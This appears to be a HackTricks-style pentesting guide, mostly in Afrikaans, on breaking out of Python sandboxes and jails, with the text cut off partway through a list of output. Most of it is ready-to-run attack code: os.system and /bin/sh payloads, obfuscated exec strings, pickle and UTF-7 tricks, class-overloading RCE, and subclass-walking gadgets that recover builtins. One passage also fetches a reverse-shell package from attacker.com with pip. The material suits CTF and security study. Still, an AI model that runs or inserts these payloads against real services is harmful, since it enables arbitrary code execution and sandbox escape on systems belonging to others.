# Omseil Python sandboxes {{#include ../../../banners/hacktricks-training.md}} Hier is 'n paar truuks om python sandbox protections te omseil en execute arbitrary commands. ## Command Execution Libraries Die eerste ding wat jy moet weet, is of jy direk execute code kan met 'n reeds geïmporteerde library, of jy enige van hierdie libraries kan import: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. > [!CAUTION] > **Python2 input()** funksie laat toe om python kode uit te voer voordat die program crash. Python probeer eers biblioteke uit die huidige directory te **laai** (die volgende opdrag sal druk waarvandaan python modules gelaai word): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) ## Bypass pickle sandbox met die standaard geïnstalleerde python packages ### Standaard packages Jy kan 'n **lys van vooraf geïnstalleerde** packages hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Let wel dat jy vanaf 'n pickle die python env kan laat **import arbitrary libraries** wat in die stelsel geïnstalleer is.\ Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip library importeer om dit te gebruik: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` Vir meer inligting oor hoe pickle werk kyk hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package Truuk gedeel deur **@isHaacK** As jy toegang het tot `pip` of `pip.main()` kan jy 'n arbitrêre pakket installeer en 'n reverse shell verkry deur die volgende aan te roep: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` Jy kan die pakket hier aflaai om die reverse shell te skep. Neem asseblief kennis dat jy dit voor gebruik moet **ontpak, die `setup.py` verander, en jou IP vir die reverse shell instel**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] > Hierdie pakket heet `Reverse`. Dit is egter spesiaal saamgestel sodat wanneer jy die reverse shell verlaat die oorblywende installasie sal misluk, dus sal jy **geen ekstra python-pakket op die bediener agterlaat** wanneer jy weggaan nie. ## Eval-ing python code > [!WARNING] > Let wel dat exec multiline strings en ";" toelaat, maar eval nie (kyk walrus operator) As sekere karakters verbied is, kan jy die **hex/octal/B64** voorstelling gebruik om die beperking te **omseil**: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ### Ander biblioteke wat toelaat om python code te eval ```python #Pandas import pandas as pd df = pd.read_csv("currency-rates.csv") df.query('@__builtins__.__import__("os").system("ls")') df.query("@pd.io.common.os.popen('ls').read()") df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # The previous options work but others you might try give the error: # Only named functions are supported # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` Sien ook 'n regte wêreld sandboxed evaluator-ontsnapping in PDF-generatorë: - ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dit misbruik rl_safe_eval om by function.__globals__ en os.system uit te kom vanaf geëvalueerde attributte (byvoorbeeld font color) en gee 'n geldige waarde terug om rendering stabiel te hou. {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} ## Operateurs en kort truuks ```python # walrus operator allows generating variable inside a list ## everything will be executed in order ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/ [a:=21,a*2] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` ## Om beskermings deur enkoderinge (UTF-7) te omseil In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 word gebruik om arbitêre python-kode binne 'n skynbare sandbox te laad en uit te voer: ```python assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` Dit is ook moontlik om dit te omseil deur ander enkoderinge te gebruik, bv. `raw_unicode_escape` en `unicode_escape`. ## Python-uitvoering sonder calls As jy binne 'n python jail is wat **jou nie toelaat om calls te maak** nie, is daar steeds 'n paar maniere om **arbitrêre functions en code** en **commands** uit te voer. ### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass # The previous code is equivalent to: class X: pass X = input(X) X = exec(X) # So just send your python code when prompted and it will be executed # Another approach without calling input: @eval @'__import__("os").system("sh")'.format class _:pass ``` ### RCE creating objects and overloading As jy kan **declare a class** en **create an object** van daardie class, kan jy **write/overwrite different methods** wat **triggered** kan word **sonder** **om dit direk aan te roep**. #### RCE with custom classes Jy kan sommige **class methods** wysig (_deur bestaande class methods te overwrite of 'n nuwe class te create_) om hulle **execute arbitrary code** te laat wanneer hulle **triggered** word sonder om hulle direk aan te roep. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: def __init__(self): self += "print('Hello from __init__ + __iadd__')" __iadd__ = exec #Triggered when object is created def __del__(self): self -= "print('Hello from __del__ + __isub__')" __isub__ = exec #Triggered when object is created __getitem__ = exec #Trigerred with obj[] __add__ = exec #Triggered with obj + # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor rce["print('Hello from __getitem__')"] rce + "print('Hello from __add__')" del rce # These lines will get RCE when the program is over (exit) sys.modules["pwnd"] = RCE() exit() # Other functions to overwrite __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Skep objekke met [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) Die belangrikste ding wat metaclasses ons toelaat om te doen, is **maak 'n instance van 'n class, sonder om die constructor direk aan te roep**, deur 'n nuwe class te skep met die teiken-class as 'n metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): __getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` #### Skep objects met exceptions Wanneer 'n **exception geaktiveer word**, word 'n object van die **Exception** **geskep** sonder dat jy die constructor direk hoef aan te roep (’n truuk van [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): __add__ = exec try: raise Klecko except Klecko as k: k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` ### Meer RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py # The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` ### Lees lêer met builtins help & lisensie ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` ## Builtins - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) As jy toegang tot die **`__builtins__`** object het, kan jy libraries inporteer (let daarop dat jy hier ook ander stringvoorstellings kan gebruik soos in die laaste afdeling gewys): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### Geen Builtins As jy nie `__builtins__` het nie sal jy niks kan importeer nie en selfs nie lêers kan lees of skryf nie aangesien **al die globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is**.\ Tog **standaard importeer python baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **laai ook gevaarlike** funksionaliteite binne-in wat aangeroep kan word om selfs **arbitrary code execution** te bereik. In die volgende voorbeelde kan jy sien hoe om sommige van hierdie "**onskuldige**" modules wat gelaai is te **misbruik** om **toegang** tot **gevaarlike** **funksionaliteite** binne-in hulle te kry. **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html help.__call__.__builtins__ # or __globals__ license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ print.__self__ dir.__self__ globals.__self__ len.__self__ __build_class__.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` [**Hieronder is 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** van **plekke** te vind waar jy die **builtins** kan vind. #### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` ### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` ## Globals and locals Om die **`globals`** en **`locals`** na te gaan is 'n goeie manier om te weet waartoe jy toegang het. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] # Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Hieronder is 'n groter function**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind. ## Ontdek Arbitrary Execution Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksionaliteite wat gelaai is** te ontdek en meer betroubare exploits voor te stel. #### Toegang tot subclasses met bypasses Een van die mees sensitiewe dele van hierdie tegniek is om in staat te wees om **access the base subclasses**. In die vorige voorbeelde is dit met `''.__class__.__base__.__subclasses__()` gedoen, maar daar is **ander moontlike maniere**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" # You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() # This can be useful in case it is not possible to make calls (therefore using decorators) ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec #If attr is present you can access everything as a string # This is common in Django (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` ### Opspoor van gevaarlike libraries wat gelaai is Byvoorbeeld, as jy weet dat met die library **`sys`** dit moontlik is om **import arbitrary libraries**, kan jy soek na al die **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` Daar is baie, en **ons het net een nodig** om opdragte uit te voer: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebruik kan word om **kommando's uit te voer**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Daarbenewens kan ons selfs soek watter modules kwaadaardige libraries laai: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` Boonop, as jy dink **ander biblioteke** dalk in staat is om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filtreer op funksiename** binne die moontlike biblioteke: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, 